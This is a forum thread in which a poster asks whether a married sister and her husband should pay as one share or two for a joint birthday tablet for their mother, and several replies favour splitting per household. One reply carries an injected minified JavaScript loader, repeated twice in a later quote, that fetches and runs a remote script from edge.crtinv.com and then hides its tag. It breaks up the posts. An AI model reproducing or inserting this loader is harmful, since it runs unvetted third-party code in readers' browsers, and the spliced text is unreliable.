Does this seem fair?

Draco

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I'd like opinions please!

My sister, myself and my dad agreed to go 1/3rd each for a tablet for my mom for her birthday. The tablets are around $160-$200 each that we're looking at.

I am single

My sister is married

My dad is himself.

I asked my sister if her husband would like to chip in as well. My sister says she and her husband counts as 1.

I am seeing it as:

Me: $50

Dad: $50

Sister: $25

Husband: $25

Or should I see it as per household?

Does it seem fair that two people are paying as one person? or am I reading too much into this? I sent an email asking my dad what he thinks about it before I decide how to respond to my sister (an OK or not)
 
natalie_ca

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!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); Chipping in with a couple is always dicy, just like buying for a couple.  When buying a wedding gift for a couple, do you buy one gift, or do you buy a separate gift for each of them?  Typically you buy one gift for the both of them.

Unfortunately when it comes to splitting gift costs with a couple, they usually do count as one person. Also, just because there are 2 people living in a house, doesn't mean they have more money than a single person.

Now on the other hand if you were sharing living costs with a couple, they would count individually. For example if there were 2 single people and a married couple, that would be 4 people splitting the rent, not 3 with one person getting a free ride.

So don't make waves and don't spoil the thought behind the gift.  Let them count as one, and be happy that you are doing something for your Mom that she will love :)

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angels mommy

angels mommy

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That's a tough one. I agree with Natalie about not making waves, but YES, It does suck! I am single too, with a married sister & I always feel the same way. They have two incomes & can afford more that we can. (kids or not). 
 
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Draco

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I am working two jobs just to pay my rent and they're much better off, even with 3 kids! I am getting to be so frugal these days, I am not letting my money go so easily!

I don't chip in with them for this reason, but since my mom really wants a tablet and we can't think of anything else, we're chipping this time.

I guess i'll bite my tongue and just do it. 
 
catlover19

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In my family, it's always per household. We went in on my moms birthday present this year with my sister. We got her family pictures, it was $70 and we each paid $35 even though I am married. 
 
Winchester

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Per household. That's what we do around here, too. Not that it matters as we're all married, but even when my brother wasn't married, it was still per household....much to his chagrin.
 
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Draco

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thanks for the opinions all :)

I'll go along with it. I don't chip in with them for anything, really.. but since it IS my mom's birthday :)
 
blueyedgirl5946

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Yep do it for mother and don't make waves.  It is only one time and she will love the table.
 
 
pushylady

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I'm sure your mom will appreciate the gift!
Definitely worth it to just chip in and not make waves.
 
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We do per household. But we also only have 1 income. I couldn't tell you what we would do if we had 2 incomes since that's still at least 6 years away.
 
margecat

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Natalie_ca said:
!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); Chipping in with a couple is always dicy, just like buying for a couple.  When buying a wedding gift for a couple, do you buy one gift, or do you buy a separate gift for each of them?  Typically you buy one gift for the both of them.

Unfortunately when it comes to splitting gift costs with a couple, they usually do count as one person. Also, just because there are 2 people living in a house, doesn't mean they have more money than a single person.

Now on the other hand if you were sharing living costs with a couple, they would count individually. For example if there were 2 single people and a married couple, that would be 4 people splitting the rent, not 3 with one person getting a free ride.

So don't make waves and don't spoil the thought behind the gift.  Let them count as one, and be happy that you are doing something for your Mom that she will love :)

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
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A bit OT, but I'd like to comment on what you said about giving a married couple 2 gifts: in my experience, people here (in the U.S.) seem to usually give joint gifts to married couples (wedding, Christmas), which really annoys me, being 1/2 of a married couple!  Sure, hubby really wants 1/2 of a cake plate for his Christmas gift.  In my family, though, I've always given separate Christmas gifts to married relatives (who, many years later, when I married, still gave us 1 gift, including a very generous $2 lottery ticket). Now, I can see giving a joint gift of something once-in-a-lifetime, like a new car, a vacation, etc., if it benefits both parties. For example, DH's family knew we wanted to buy a house shortly after marriage.  They give us  generous checks to use toward a house as a wedding gift.  That was great!
 
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odiakkoh

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MargeCat said:
A bit OT, but I'd like to comment on what you said about giving a married couple 2 gifts: in my experience, people here (in the U.S.) seem to usually give joint gifts to married couples (wedding, Christmas), which really annoys me, being 1/2 of a married couple!  Sure, hubby really wants 1/2 of a cake plate for his Christmas gift.  In my family, though, I've always given separate Christmas gifts to married relatives (who, many years later, when I married, still gave us 1 gift, including a very generous $2 lottery ticket). Now, I can see giving a joint gift of something once-in-a-lifetime, like a new car, a vacation, etc., if it benefits both parties. For example, DH's family knew we wanted to buy a house shortly after marriage.  They give us  generous checks to use toward a house as a wedding gift.  That was great!
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Yeah we get 1 gift for the both of us. We've been lucky getting useful gifts though. Comforter for our shared bed, tent for family camping trips, movies we both like, etc.
 
subvet642

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As a rule, the wife and I don't participate in gifting (giving or receiving) for all the reasons stated above. We've discovered that gifting is often a source of anger and resentment among family and friends. Christmas and other gifting holidays are usually filled with unmet expectations and disappointment. Life is stressful enough without adding another random emotional landmine.
 
sneakymom

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Gift giving can cause so much drama in a family. 

A couple of years ago BIL decided he wanted to give FIL an iPod for Christmas.  3rd generation- it's the same one that my kids originally got (and now I play with b/c they have newer ones from last Christmas). 

He wanted everyone to contribute.  Dh did.  His other brother didn't- they've always kind of struggled financially and they didn't want to spend $75 for a Christmas present.  And they already had one for him.  I don't know if there was sore feelings or not. 

Last year the same BIL bought my IL's a small flat-screen TV for the kitchen (MIL likes watching TV while she cooks) and a new flat-screen monitor for FIL's computer.  Said it was a Black Friday bargain.  Never asked either of his other 2 brothers for money.  Whatever.  I think dh was a little ticked.  We got MIL towels for her bathroom (really nice towels that they never used until we came and visited- whatever) and I can't remember what FIL got. 

It's just not worth getting all bent out of shape over.  If we'd said anything- I think it would have caused more harm than good. And since we only get out to see the family once every couple of years, I'm just more willing to do whatever............

Cheryl
 
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Draco

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RE giving gifts to a couple..

I used to give a gift to each person, unless they wanted something specific for the house or shared. Weddings they get money from me. I used to give a gift to my sister, and to my BIL.

Now since they have 3 kids, and I am single with no kids, we agreed I'd give the kids something for Christmas, and not to her or my BIL. We agreed it'd be too much money on my part to gift 5 people when they'd gift 1!
 
swampwitch

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I say per household also. Son-in-law is normally covered under his wife's contribution, but especially in this case since he wasn't in on the original plan.

I'm always kind of surprised how people criticize gifts they receive, gifts are freebies after all. 
 
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